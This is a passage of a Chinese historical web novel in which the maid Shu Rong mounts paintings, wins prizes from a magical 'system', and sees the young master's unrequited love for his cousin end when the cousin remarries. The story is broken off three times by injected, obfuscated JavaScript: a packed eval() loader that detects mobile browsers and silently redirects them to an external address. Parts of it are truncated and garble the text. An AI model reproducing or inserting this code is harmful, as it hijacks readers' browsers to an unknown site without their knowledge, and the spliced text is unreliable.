舒容作画的时候很认真,等画完抬头看才发现方冉途人已经不再。她心中对自己当电灯泡的工作予以肯定,有她在,方二少爷休想和表小姐有独处的空间。舒容画完画准备告辞离开,蒋念鸿又留她在落梅院吃晚膳。两人又约定好下次再一起画画。 在回桂馨院的路上,绿影担心地说道:“姑娘,我怎么觉得今日二少爷见到姑娘跟表小姐在一起不大高兴呢?” 虽然绿影不明白二少爷为何生气,但他当时嘴角下撇,眼睛还偷偷瞪姑娘,她在一旁看得真真切切。 舒容有点惊讶绿影这个局外人都能看出来方冉途讨厌自己这个大灯泡,那表小姐究竟是对方冉途表现出来的好感究竟是一无所知还是已经察觉到了只是回避呢?舒容想等下次方冉途再来找蒋念鸿时自己要认真观察一番。 方冉途从落梅院回来后就把自己关在书房,康平进去送茶水时见他正在书案前画画。见康平进来,他便一把把画揉成团扔进了废纸篓里。康平不明所以,趁他第二天整理书房时发现纸上画的是数叶芭蕉,倒是跟他在落梅院看舒容姑娘画的有点相似。 接下来的十几天,舒容有空都会到落梅院里找蒋念鸿,有些会带些在街上卖的小玩意儿,比如面人,竹雕等。两人有时一起作画,有些一起做针线,相处十分融洽。方冉途几次三番想来落梅院找蒋念鸿都因为舒容在他没法单独跟表姐聊天,往往是问个好就离开。 蒋念鸿的病情在这段时间里也一日比一日转好,开得一个月的药还没有吃完,据她自己判断已经大好。何夫人保险起见又请了张大夫前来诊脉,张大夫把脉后也认为蒋念鸿已然痊愈。何夫人高兴不已,重赏了张大夫。蒋念鸿立即修书一封请差役送到西平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191433|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家中,告知父母她已经大好的事情。 方冉途也为表姐身体康健感到高兴,但又担心表姐病愈后会很快回去西平,他们恐怕再见艰难。他便向趁这最后的时间想表姐表明自己的心意。他特意去翰墨阁买了松花笺,想借送纸的由头和表姐表白。 他在竹香院内装扮一新,穿着葱白色的直裰,抱着松花笺满怀希望地去了落梅院,没想到在落梅院里又见到了舒容。他只能放下松花笺略坐了坐又匆匆离开。 舒容在落梅院里和蒋念鸿学着打络子,学了一个下午终于打出来一个她比较满意的如意结。蒋念鸿看她学得艰难还把自己做好的攒心梅花络送给了她。 舒容最近生活过得十分丰富,一时间忘了跟方冉途的约定,等到从落梅院回去经过竹香院时才想起此事。七月已经过去半个多月,她还没有去过方冉途房中一次,于是她决定今晚就在竹香院歇息。 吃过晚膳后她就往竹香院去。方冉途正在书房里刻章,听康平通报,起初他还有些疑惑舒容来找他做什么,转念才想起两人的约定。想到舒容近日屡屡在他面前碍眼,他心中有气,手中的刻刀一不小心在印章上划出长长的一痕,让就快成形的印章功亏一篑。 “二少爷,舒容姑娘还在外头呢。”康平见他没有动作,怕他太专注没听到自己说话又重复了一次。 方冉途盯着刻坏的印章一动不动,脸上看不出什么情绪。片刻后,他起身出了书房,看见舒容正站在书房外的走廊上望着廊檐下挂着的灯笼出神。 听到声响,舒容转过身恭敬行礼,“奴婢见过二少爷。” 方冉途见她脸上温婉的笑容,就想起她和表姐一起开心玩笑的样子,睨了她一眼,越过她往寝房的方向走去。 康平不知二少爷缘何对舒容如此冷淡,歉意地对舒容笑笑。舒容也回之一笑,方才跟上方冉途的步子。 寝房里,方冉途径直走到罗汉床上坐下,舒容缓步走到他身前,见他不理睬自己,猜测他肯定是因为表小姐的事情跟自己生气。舒容也不恼,拿起矮几上的茶壶倒了一杯茶放到他面前。 “不知二少爷因何事不快?”舒容装作无辜地问道。 方冉途瞥一眼面前的茶水,没有说话。起身走向舒容旁边的金丝楠木博古架,上面放有几本他前几天从书房拿过来的书,他随手拿了面上的一本,转身坐回罗汉床上兀自看了起来。 舒容无趣地闲坐,给自己倒了一杯茶慢慢品着。眼睛挨个打量方冉途屋中的装饰,一个个在心中猜出材质,又估算出价格,方才发现方冉途住的也是造价不菲的金屋。她心中咋舌,侧身看向专心看书的方冉途,烛光下的少年眉目如画,身姿挺拔如院中的翠竹,任谁人看了都免不了赞叹一句如玉郎君。 经过漫长的等待后,终于到了就寝时间。方冉途仍是睡在里面,舒容睡在外面。舒容在此期间曾多次挑起话头,但方冉途都以沉默相对。想到明天要把自己画好的《扬水河初夏十二景》拿到故荣斋中装裱,她也没有再说话的心思,盖上薄被,兀自睡了过去。 方冉途因为心中有气,跟舒容同睡一床便迟迟不能入眠。听到耳畔舒容平稳的呼吸声,他侧身皱起眉头看向舒容的后背,喃喃自语道:“表姐凭什么更喜欢你?” 第二天一早,舒容便拿着画去了故荣斋。她走后不久,西平送信的差役就到了方府门前。 21. 西平来信 “什么?你说我父亲母亲来信了?”蒋念鸿欣喜地问碧桃。 “正是呢,表小姐,那差役还带有姨太太的口信,太太特意让我请您到采晖堂去。”碧桃道。方才何夫人一见到西平的来的差役就派她到落梅院里报信。 蒋念鸿听罢此言,便跟着碧桃到了采晖堂的偏厅。 见到蒋念鸿过来,何太太高兴地把桌上的信封递给她,“念鸿,这是从西平来的信。” 怕自己在场,差役不好跟侄女说话,何夫人便找了理由出了偏厅,只留蒋念鸿主仆三人和那差役说话。 “小姐,太太让我告诉你,接你的车马已经在路上,不日就到京城。小姐的东西可以提前收拾起来了。” 听到自己终于能回家中,蒋念鸿心中高兴不已,从映雪手中拿过一个装有二两银子的荷包打赏差役。 那差役接过荷包后,又从怀里拿出一封信交给蒋念鸿,“小姐,这是秦大人私下里托我转交的。” 蒋念鸿收下两封信,一路快走回了落梅院,在自己屋中先拆开父母的信快速看起来。信中写的是他们已经知道她病愈的消息,十分欣喜,让她保养好身体等待家中来接。读完信,她把信妥善收好。 看到桌上摆的另一封,信封上写着念鸿亲启,信上的字是她熟悉的铁画银钩,她却没有勇气马上打开。她把信放到床头,直到晚上就寝前才在灯光下看完了信。睡觉的时候,泪水止不住地涌出,将新做的蚕丝枕头洇出好大一块湿印子。。 方冉途刚刚走出翰林院就听到康平说西平来信的事,猜测表姐病愈,姨妈肯定会马上派人接她回去。他慌张地让康平驾车赶紧回府,心中想着怎样才能留下表姐。回到竹香院里,他更是心绪不宁,坐立难安。想到上次被舒容搅黄的表白,他决定先支开舒容再向表姐表明心意,看如此能否留住表姐。 第二日他向上司告了假,又特意让康平去桂馨院,通知舒容去天香楼给自己买糕点借此支开舒容。他自己则带上一小罐云雾茶去落梅院里找蒋念鸿。 蒋念鸿在屋内绣花,见到方冉途又来给自己送东西,彼此客气了一番。蒋念鸿见天气晴好,便邀请他一起去院中梅林里散步。 落梅院的梅子陆续成熟,府中下人已经将熟透的梅子采摘下来做成各类吃食。枝头只挂着零星仍是青皮的果子。但暖风融融,走在梅林中,时不时能闻到一股梅子香气,也让人感觉身心舒畅。 因为快要归家,蒋念鸿郁气尽散,难得有兴致和方冉途闲聊起来。方冉途口头应付着她的话,心中却只想着等会儿的表白。两人走到梅林中的一处凉亭,在亭中的石凳上坐下,蒋念鸿便吩咐映雪和凝霜去拿些茶水点心过来。 方冉途看着映雪和凝霜的背影离开梅林后,鼓起勇气看向坐在石桌对面的蒋念鸿。蒋念鸿见他眼神热切地看向自己,面上又尽是犹豫之色,便开口问道:“表弟,可有何事要说?” 方冉途猛然站起身,眼神看向旁边的梅林,舒了口气后又将眼神看向蒋念鸿,那眼神中满是缱绻的思恋。 “表姐,我爱慕你许久。自打你几年前来家中小住时,我就喜欢你。无奈那是我年龄尚小,只能眼看你另嫁他人。现在我已经长大,但我的心没有改变,我依旧喜欢表姐。我……” “冉途,我不喜欢你。我对你只有姐弟之情。”蒋念鸿开口打断道。 蒋念鸿不敢相信自己的耳朵,虽然她此前已经知道表弟爱慕她的事实,但她没有想过表弟此番会亲口对她表白。她怕表弟再说下会让局面更加难看,只好出言阻止。 听到她斩钉截铁的回答,方冉途霎时全身像被抽尽气力一般瘫软无力,他怕自己摔到在地,伸手扶住凉亭的木柱,背对着蒋念鸿眼中落下泪来。 看到他的样子,蒋念鸿心中也不好受,但她没有选择。她起身走到凉亭的台阶处,冷声道:“表弟今日的话我当做没有听见,我与你之间只会是姐弟。我先回屋了,表弟自便吧。” 蒋念鸿说完就朝屋子的方向走去。方冉途看着她越走越远,心如刀绞,想要开口留住她,但他心里明白终究无济于事。表姐,根本不喜欢他。他倚着木柱站了许久,才失魂落魄地离开梅林。 “小姐,我们正把东西准备好要去梅林,你怎么一个人回来了?”映雪看着回来的蒋念鸿问道。 “表弟他有事,我就先回来了,东西不用准备了。我这会儿感觉有些累,想到床上歇一歇,你们先下去吧。” 舒容对在落梅院里发生的这件事一无所知。她和绿影一早就坐上康平驾的马车往天香楼去买糕点。一来一回等回方府时已经快到午膳时间。一下马车,舒容就带上亲自买的四样糕点去了竹香院。方冉途正在屋内伤神,吩咐她把糕点送到采晖堂去就挥手让她离开。 因为之前的事情,舒容对他的冷淡也见怪不怪,吃过午膳后便将糕点送到何夫人处。 第二天舒容一早就去故荣斋,准备把胡掌柜朋友画的四幅画从大墙上揭下来装杆。她计算过此前已经给客人装裱过八幅画,加上自己的《扬水河初夏十二景》册页就是九副,如果这四幅画装裱好总数就超过十副,她就可以参加7749所说的抽奖。她很好奇系统抽奖能抽出什么东西,于是一到裱房里就开始热火朝天地干活。 和胡掌柜一起忙活了一个上午终于把四幅画装裱好,两张装裱成立轴,两张装裱成横批。胡掌柜高高兴兴地拿着装裱好的画到店里去挂上,舒容留在裱房里假装收拾东西,实际上是等人走了好跟7749说话。 “7749,我已经装裱好十三个作品了,是不是可以参加抽奖?” “亲爱的主人,根据系统的记录你已满足抽奖要求可以参与一次抽奖,请问现在要进行抽奖吗?”7749的声音在舒容脑海里响起。 “要。” “好的,现在为您调出抽奖界面。” 舒容眼前突然出现一个悬浮在空中的抽奖按钮,舒容用手指摁了一下,画面随即消失。 “亲爱的主人,恭喜您抽中马蹄刀一把,您是否要现在兑换,如果不用,系统可以为你保留。” 舒容没想到自己期待了半天的奖品就是一把马蹄刀,她抿了抿嘴唇,无奈道;“现在兑换。” “好的,7749正在为您兑换中。” 下一秒在舒容面前就出现了一把马蹄刀,如同刚刚出现的抽奖按钮一样是悬浮在空中,舒容伸手将其拿在手里。观察一番,发现似乎跟常用的马蹄刀也没有什么区别,只是刀刃看起来更薄更锋利。 “亲爱的主人,本次奖品兑换完毕。请继续努力,还差七副作品就能参与下次抽奖。” 看着本次抽到的马蹄刀,舒容已经不对这个系统的抽奖抱有希望了,“好的,我会努力。7749,你可以离开了。” “好的,亲爱的主人。”接着又听到三声熟悉的水滴声。 舒容把马蹄刀另外放到裱房角落里的竹筐中。她一直都用的胡掌柜的装裱工具,既然现在自己有了马蹄刀,那她以后也要慢慢收集一套属于自己的工具。 经过一段时间的学习,唐顺已经能够掌握花椒水治浆糊的前期步骤,但到熬浆糊这一步总是翻车,不是浆糊还没有变色就是熬到浆糊发黑。舒容和胡掌柜两个人手把手指导也没有效果,没有办法只有让他在院里撘一个小灶,自己有空就去熬,期待他能熟能生巧。 舒容午后才回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天一早,舒容就带着昨天熬好晾凉的两坛子果酱和绿影一起去了落梅院。落梅院里下人们进进出出,正在往外搬行李。舒容小心护好自己提的网兜往屋子里去寻蒋念鸿。 “舒容姑娘,你来啦。”映雪见到舒容招呼道,“我们姑娘在里间呢。” 舒容将手中提的果酱交给映雪,“这是我特地做的梅子山楂酱,给表小姐在路上吃吧。” 走到屋里,舒容发现屋里常用的东西已经搬空,蒋念鸿正坐在锦榻上看书,她悄悄走近准备吓他一跳。谁料蒋念鸿突然放下书,冲她一笑,“你刚才在外头跟映雪说话我就知道你来了。” 蒋念鸿拉她到身边坐下,“多谢你还特意给我做果酱。” “不费什么事的,表小姐在路上也要用心饮食,保重身体。”舒容说着话,瞥见蒋念鸿手中拿的竟然是本话本子,那话本子她在何夫人也看见过,是个俗套的故事,没想到蒋念鸿竟然也喜欢。 蒋念鸿似是察觉到她的目光,把书放到了自己背后。“舒容妹妹,我这里东西已经收拾得差不多了,等到午膳后我就去采晖堂跟姨妈辞行。西平离京城山高路远,我们二人不知何时才能再见了,你也要一切保重才是。” 说着话蒋念鸿就落下泪来,她跟舒容相处久了真有几分把她当成自己的妹妹看待。舒容见她落泪,忙拿出手帕帮她擦去眼角的泪珠。 “时间长了,总有相见的一天。你我都要各自保重。” 舒容在落梅院同蒋念鸿说了许久话,直到蒋念鸿的嬷嬷来请示事情她才离开。舒容本来想午后去门口送送蒋念鸿,等她去的时候门口的小厮告诉她蒋念鸿已经走了有一会儿工夫了。 舒容正准备往回走,突然看到方冉途急匆匆下了马车地跑进府门。 22. 表姐再嫁 舒容看到方冉途正想向他问好,只见他直接冲到守门的小厮面前问话,“表小姐呢?” “回少爷,已经走了一阵了。这会儿估计快出城门了。”小厮被方冉途脸上着急的神色吓到,一五一十地回道。 闻言,方冉途怅然若失地望向府门外空荡荡的街道,看也没看舒容一眼,落寞地转身往竹香院走去。他今日在翰林院一听康平报信说表姐要走就马上请了假往家里赶,没想到还是慢了一步,下次再见表姐就不知是何年何月了。 舒容知道他是因为看不到心上人伤心,所以没有前去打扰他,而是跟绿影两人特意绕了条远路,从大少爷的荷风院那边回了桂馨院。 一年后。 时光荏苒,岁月如梭,这一年时间里舒容已经在故荣斋里装裱各类书画近百副,在7749处抽奖陆续抽中了马蹄刀、裁尺,鬃刷等物,还获得了一次一键焕新的文物修复机会。不过她没有要修复的文物,所以将此次机会先暂时存放在7749的系统中。 她和方冉途的关系,仍旧是平平淡淡,除了每月两次的同床睡觉之外几乎没有什么交集。何夫人见她和方冉途之间相处融洽倒是给她涨了一两银子的月钱,现在她每月能得二两银子的月钱。 不过方府的月钱早就不是舒容收入的主要来源。自从去年秋天以来,许是换了店中的展示画,又或许是李秀才冯掌柜等人帮忙宣传的缘故,故荣斋的生意一直没有断过。等到春天这个最适合裱画的季节更是接连接到几个大单,她和胡掌柜几乎从早做到晚,好在胡顺治浆糊已经出师,也能帮忙做些制作天地杆等零碎的事情,让她们的工作效率有了很大的提高。 从去年夏天加入故荣斋起,舒容已经在故荣斋挣到了近八百两银子。她将银子兑换成全国通用的银票妥善保管在原身母亲留的那个小木匣中。 她原本想着要用挣到的钱来脱离奴籍,特地花了十两银子去找了京城里头做奴仆生意有名的中人咨询。对方却说京城里头没有家生子脱离奴籍的先例,他也不能帮忙。家生子不比买来的仆人原先有良籍的身份,只要时间到了或者交了赎金就可以恢复良籍。 舒容又向厨房的李大娘打听,李大娘在京城里其他达官贵人府上也有些认识的厨娘,据她说家生子想要脱离奴籍会被认为是主家苛待下人,因此没有主家会同意家生子脱离奴籍的请求。曾经永襄王府有个家生子的儿子读书十分用功,他自己在永襄王妃面前也很有脸面便想请求主家脱离奴籍让儿子走科举之路,结果被永襄王知道打了一百棍,最后一命呜呼死掉了。 舒容想到自己的身板估计也承受不起一百棍,加上方府现在生活也还过得去,她便暂时歇下要马上脱离奴籍的心思,只有先努力赚钱,再从长计议。 现时值盛夏,字画装裱的生意进入淡季,胡掌柜便和舒容商量着给三人放上两个月的长假,这两个月里他们只接单不装裱,好让大家都松快松快。于是舒容也不再去故荣斋,只日日在桂馨院里和绿影两人消夏。 这天傍晚,舒容正在桂花树下打着蒲扇吃西瓜,在井水里泡过的西瓜吃起来凉丝丝的,十分解暑。绿影去了李大娘去送李大娘托她给自己家女儿做的鞋面,舒容便把给绿影留的西瓜用竹编的菜罩盖好。 “姑娘,我刚才从李大娘那里知道一件大事。”绿影走进桂馨院,小跑到舒容面前神神秘秘地说道。 舒容看她热得脸上都是汗,忙拿蒲扇给她扇风,笑着问她,“什么大事值得你急成这样子?” 绿影拿手掩着嘴贴近舒容耳朵小声说道:“表小姐要嫁人了。” 舒容立时怔住,手中扇蒲扇的动作停在空中,蒋念鸿居然要再嫁了。“这是什么时候的事?” 绿影从她手里接过蒲扇给两人扇风,“这个我不知道,但听李大娘说是今天下午从西平来的信上说的。” 想了一阵,舒容觉得此事跟自己也没什么关系,便招呼绿影坐下来吃西瓜,两人又随便聊些其他事情,直到二更时分才往各自屋里睡去。 方冉途知道这件事情比舒容更晚一些,他头一天在褚府跟褚炤手谈,一直到三更褚炤才放他回家。回家后感觉十分疲乏,沐浴后便直接就寝。康平家中母亲过寿,他给康平放了一天假,因此康平也没有在他身边服侍。 第二天起床后康平服侍他洗漱时才和他说了这件事。 “你可知表姐再嫁何人?”方冉途盯着康平,漆黑的眼眸中有股幽怨的怒火。 康平对他有些怨恨的眼神不明所以,“我听我爹说表小姐再嫁的那人叫秦砺初,是西平县的县令,年方二十四岁。听说此人还是表小姐的青梅竹马,一直心慕表小姐没有娶妻,等到表小姐回到西平,他便跟表小姐表明心意,表小姐也喜欢他,两人就顺理成章地走到了一起。” 秦砺初,他知道这个人,表姐曾经跟他说过她小时候一起玩的邻家哥哥就姓秦。他怅然地望向窗外的翠竹,随后抬脚走出了房门。 “二少爷,你的乌纱帽还没有戴好呢。”康平见他没戴帽子就走出了寝房,急忙拿起帽子追了出去。 晚膳时,方冉途罕见地让康平给他拿一壶酒来。他平日里除了必要的交际外在家中几乎不吃酒,康平觉得他从早上开始就有些反常,但方冉途的吩咐他不敢不听,便去取了一壶桂花酿来。取来酒后,方冉途把他赶出去,自己一个人在房间里喝闷酒。 一连几天皆是如此,康平觉得此事有必要马上告诉何夫人。他趁方冉途上值的时候去采晖堂将事情原原本本地对何夫人讲明。 “我知道了,你先下去吧。” 何夫人看向旁边的张嬷嬷,忧心道:“这肯定是念鸿那事惹的,没想到都过了一年,二郎居然还放不下。” “二少爷是个长情的人,他必定是一时无法接受表小姐再嫁的事,不如我们权且当做不知道此事,先让他情绪抒发一阵子,想来时间长了二少爷自己就会想开的。” “希望如此吧,二郎这孩子是个聪颖的,历来都少让我操心,没想到在感情这事上这么波折。我虽是他母亲,也无法帮他,这次就让他自己想个明白吧。” 桂馨院里,舒容前一日凑巧在街上碰到了进城卖冰粉籽的蜀地行商,从行商那里买了一大袋子冰粉籽,又在杂货铺买了上好的红糖,糯米粉和黄豆粉。今天便从厨房要了一大块冰和绿影一起在小厨房里做冰粉。 想到绿影说去厨房拿冰时看到了康平往采晖堂方向去,舒容想应该是去跟何夫人报告方冉途的动向。她也有些好奇方冉途听到蒋念鸿再嫁是何反应,便让绿影去竹香院请康平到桂馨院里吃冰粉。 绿影来叫康平时他刚才从采晖堂回来不久,正是跑得一身汗想要吃点凉的东西解解暑气。 一碗冰镇的红糖糍粑冰粉下肚,康平觉得暑气全消,“舒容姑娘,你这冰粉是在哪里学的,我在京城里还没见过这东西。滋味真不错。” “这是我在街上闲逛时买到了冰粉籽,那卖货的行商告诉我的做法。你要是喜欢便再吃一碗。”舒容说完又亲手调了一碗冰粉放到康平面前。 康平咧着嘴笑着接过,拿起调羹又埋头吃起来,很快又一碗见底。想到舒容做的冰粉这么好吃,自家的二少爷还没有吃到,便道:“舒容姑娘怎么不送些冰粉给二少爷呢?舒容姑娘做得这么好吃,二少爷想来也会很喜欢的。” 在康平吃第二碗的时候舒容也给自己和绿影各调了一碗冰粉,两人也坐到树荫下的石凳上吃起来。听到康平说让自己送冰粉去给方冉途,舒容放下手里的调羹,抬起头看着康平笑着说道:“我也正有此意呢,预备等二少爷下值后就送到竹香院去。不知道二少爷近来可好?” 听到她问起二少爷,康平觉得自己的最近的苦水终于有了地方倒。自打方冉途开始喝酒起,每日的话更少了,浑身冷冰冰的,虽然是酷暑,可他靠近他的时候还觉得浑身发凉。 “唉,舒容姑娘,二少爷近来不大好。”康平语气很是消沉。 “发生了何事?”舒容问。绿影也停下吃冰粉的手,抬头疑惑地看向康平。 见到两人好奇的目光,康平索性把事情都说了出来。 “你说二少爷每晚都在房中喝闷酒?”舒容倒也不奇怪方冉途这么做,借酒消愁也是人之常情,比起有些人喝醉酒到处发酒疯,他方二少爷听到心上人再嫁只是躲在自己屋里喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒容刚才在走廊上也听见了方冉途训斥康平的声音,便把食盒递给康平,嘱咐道:“此物不可过夜,若是二少爷睡前还不曾吃,便赏给守夜的小厮吃吧。” 舒容走后隔了许久,方冉途才恋恋不舍把折扇放回锦盒,出来看见康平便让他备一壶酒。见晚膳桌上有一碗没有见过的冰品,料到应该就是舒容刚刚送来的东西。康平去吩咐摆饭,见他看着冰粉,就走过去介绍起来,又说他今日尝过如何美味等等。 见康平说得天花乱坠,方冉途也拿起调羹舀了一口到口中,冰粉冰凉爽口,滑嫩非常,于是他也不知不觉把一碗冰粉吃个干净。 舒容见康平和绿影都反映冰粉味道不错,第二天便又做了一些和绿影一起送到采晖堂去。何夫人吃后也很是喜欢,舒容便把制作方法跟采晖堂的厨娘说明,又拿来自己在街市上买的冰粉籽让她们去街市上照着购买。 何夫人这次没有向舒容问起方冉途的事,舒容便也没有主动提。想起往日和蒋念鸿一起玩笑的日子,舒容还是忍不住问道:“太太,听说表小姐快要嫁人了,不知道是什么时候?” 何夫人笑着看向她,“你也知道这件事了,念鸿的婚期就定在下月的十五。” “不知道府中送贺礼的人马什么时候出发?表小姐去年在府中时待舒容极好,舒容也准备了小小一份贺礼相赠,想要托府中的人一块送过去。” 舒容在去年蒋念鸿走后不久便画了一幅蒋念鸿在梅林中赏花的画像,现已经装裱好放在书房里。她本来是预备等以后相见时送给她,如今她即将新婚,作为贺礼送给她也是很好。 “西平那边信来的突然,贺礼我这边正在和张嬷嬷张罗准备呢,且得有一些时候,估计最快十日后才会出发。念鸿与你相交一场,你能念着她,她收到礼物想必是很高兴的。”何夫人伸手轻拍舒容的肩膀。 舒容便和何夫人商定明日将礼物送到采晖堂来。临走时何夫人又送了她一小罐药油,说是少许涂抹在身上可以驱赶蚊虫。 舒容将画用一个大红色并蒂莲花样的锦盒装好让绿影送去采晖堂。闲来无事又在桂馨院里和绿影一起琢磨些凉爽的吃食。尝试做了凉糕、凉虾、冰圆子,凉面等物。只要做了她就亲自送去竹香院,但方冉途始终是只收下东西没有见她。 好不容易等到方冉途的休沐,舒容等到午后便拿着自己近日绣好的一双袜子去了竹香院。听康平讲起方冉途的酒量已经从每晚一壶变为了三壶,舒容觉得自己实在有必要去开导一番这个失恋的少年。 舒容在方冉途的书房门口做好了被他拒绝的准备,她已经想好他要是再拒绝她,她就强行冲进去。没想到他却一反常态地请她进屋说话。 23. 不过一场单相思 舒容进屋见方冉途身着浅云色道袍站立在书架前,身形似乎比之前更加消瘦,一双眼睛紧紧看着书架上立着展开的一把折扇,像是看着什么绝世珍宝一般。 她走到他近前问好,“奴婢见过二少爷。奴婢是来给二少爷送一双奴婢自己做的袜子。” 说着舒容把袜子捧到他面前,眉眼温顺地看着他。 方冉途微微侧身看了舒容一眼,眼中没有往日的神采,只有无尽的迷茫忧伤,仿佛笼罩在浓雾之中失去了方向。他整张脸都瘦了一圈,下颌线显得更加锋利,嘴边还有新冒出的黑色胡茬,整个人显得憔悴不已。 看来爱情真是害人不浅。 等了许久舒容见他没有要收下袜子的意思,舒容便把捧着袜子的手收回来,想等走的时候再把袜子交给康平。想到自己今天来的目的,舒容斟酌着开口问道;“二少爷,我听碧桃说给表小姐送贺礼的车队后日就要出发了,二少爷可有要送给表小姐的贺礼要一齐送去?” 他没有回答她,侧过头看向她干净的眼眸,脸上露出一抹苦涩的微笑。随后一双眼又看向那把折扇,他用手温柔地抚摸着折扇的扇面,缓缓开口道:“舒容,你可知道我为何迟迟没有娶亲?” 舒容心中腹诽还不是因为你喜欢表姐,她正思考着怎么组织语言回答他才好。结果还不待舒容回答,他又继续说道:“因为我喜欢表姐。自我十二岁那年表姐来府中暂住,我就喜欢上了表姐。我一直想要娶她。四年前因为我年岁尚小眼看表姐另嫁他人,这一次我还是只有眼睁睁看她嫁给别人。”他说完手攥成拳头狠狠敲打在书架上,震得书架上摆放的书都跟着晃动。 “你说贺礼,我没有贺礼。” 他把埋藏已久的心事就这样在舒容面前轻飘飘地吐露出来,语气却是分外苦涩。 舒容没有想到他竟然已经喜欢了蒋念鸿这么长的时间,她突然产生一种深深的罪恶感,她在想如果不是因为她从中作梗,方冉途是不是有机会和蒋念鸿终成眷属。 “那……表小姐知道你喜欢她吗?”舒容轻声问道。 方冉途哀伤地看着折扇上的画眉鸟,良久才苦笑地说道:“表姐她知道,她不喜欢我。”说完他转身背对着舒容看向窗外,书架上的折扇被他的衣袖扫到地上。 舒容连忙弯腰捡起折扇,方冉途听到声响也立刻转过身从舒容手中抢过折扇。 看他这么宝贝的样子,舒容断定这折扇肯定是蒋念鸿送他的。想到刚刚他说蒋念鸿不喜欢他,看来他是跟对方表白被拒绝了,现在只有借着扇子睹物思人。 方冉途小心地把折扇放回书架,又继续盯着画上的画眉鸟发呆。 “二少爷的这把折扇应该是表小姐送的吧?”舒容问道。 他忆起往昔,脸上露出幸福的笑容,语气甜蜜地说道:“嗯,这是表姐专门送给我一个人的。我十二岁那年因为和老师争辩被老师罚抄诗文,表姐偷偷溜进书房送给我的。我就是从那个时候开始喜欢表姐的。” 那个时候表姐的笑容明媚灿烂,一下子就刻进他的心里,直到现在也没有忘怀。 舒容还没有想好劝他走出来的话,书房的门突然被人从外头打开。只见何夫人带着张嬷嬷走进屋内,后面还跟着一脸紧张的康平。 何夫人走到两人跟前,看着方冉途手中的折扇,摇着头笑道:“二郎,这不是念鸿单给你一个人的,你会错她的意了。” 要不是听说二郎饮酒愈发严重,她今日方才特地和张嬷嬷过来开解他,何夫人哪里会想到儿子爱上念鸿的开端,竟然是因为一把小小的折扇。 “是啊,二少爷,当时是西平的秦少爷,也就是表小姐即将要嫁的夫君秦砺初秦大人专门派人送给表小姐赏玩的。折扇上的画都是秦少爷亲手画的,因为送来了一大箱子,表小姐几乎给采晖堂的每个人都送了一把,我的那把现在还在屋子里呢。”张嬷嬷也补充道。 方冉途听完这话,登时脸色涨红,自己珍视这么多年的折扇竟然是情敌亲手画的。他再看折扇上的画眉鸟,那鸟儿仿佛在说他就是个傻瓜。他神色复杂地看了眼面前的众人,沉默地从人群中穿了出去,一声不响地走出院门。 看见方冉途走出院门,康平下意识想跟上去,何夫人开口拦住他,“让他自己静一静吧。” 方冉途走后,屋内陷入尴尬的沉默当中,就连最迟钝的康平也终于意识到方冉途的反常行为是因为他喜欢的表小姐要嫁人了,而新郎不是他。何夫人毕竟经历的事情多些,很快就调整好了心态,嘱咐康平照顾好方冉途后就带着张嬷嬷回了采晖堂。舒容在她走后跟康平尴尬地对视一笑,将袜子交给他后也回了桂馨院。 方冉途脑海里不断重现当年表姐送他扇子的一幕,又不断回想起方才在书房里母亲和张嬷嬷说的话,一路不知不觉就走到了落梅院梅林里的那个凉亭。 他踉跄着走进凉亭,扶着凉亭的木柱,再也控制不住地失声痛哭起来。整个身子都感觉瘫软无力,扶着木柱就顺势滑到了地上瘫坐起来。想起表姐当日在凉亭里说过的话,她说她不喜欢自己,她说他们之间只是姐弟。表姐从来没有骗过他,她真的不喜欢自己。所有的一切,全都不过是他自己的一场单相思。 哭过一阵,他起身抖抖自己衣裳上的灰尘,坐在凉亭的石凳上,眼神放空地望着凉亭旁边的梅子树。枝头上的梅子已经被采摘得干干净净,光秃秃的枝头只剩下绿叶随着风摆动。 直到梅林也染上了暮色,他才从石凳上起身回到竹香院。 “二少爷,你回来啦。”康平在竹香院里等得心急,又想着何夫人的话一直忍着没有出门找他。看到方冉途衣摆上的尘土,想起他曾经屡次送礼物去落梅院的事,康平心中心疼方冉途这段无果的感情。 “给我备水,我要沐浴。”方冉途脸上没有表情,平静吩咐道。 洗漱后他没有吃晚膳,去书房将那把折扇收起放在书架最高处后就回房就寝。 第二日起他便不再吃酒,一切似乎恢复如常。大家也默契地没有提起在书房中发生的事。 又过几天,康平到桂馨院给舒容送来两匹宋锦。 “舒容姑娘,这是二少爷特地命我给你送来的。二少爷说算作是前段时间舒容姑娘送的吃食的谢礼。二少爷还说让舒容姑娘今晚来竹香院。” 绿影接过宋锦放到库房中去,回来对舒容说道:“二少爷送的两匹宋锦花色都好看,等到了秋日,姑娘正好拿来裁衣裳。” 晚膳过后,舒容收拾停当就去了竹香院,她按照往常的习惯先去了书房外头找康平,却见书房里头漆黑一片,并没有灯光。她思忖着要不要先去前厅等候,穿过走廊刚走到前厅的台阶上就听到康平喊她的声音。 “舒容姑娘。” 她回头发现康平和方冉途刚从外头回来,康平在前面提着灯笼,方冉途一身影青色道袍走在后面。他见舒容回头也望向向她,两人目光交汇,舒容对他颔首一笑,舒容觉得他眼神似乎恢复了往日的神采,不再像书房见到那日般忧郁无神。 舒容快步走下台阶,笑容满面地向他问好,“奴婢见过二少爷。” 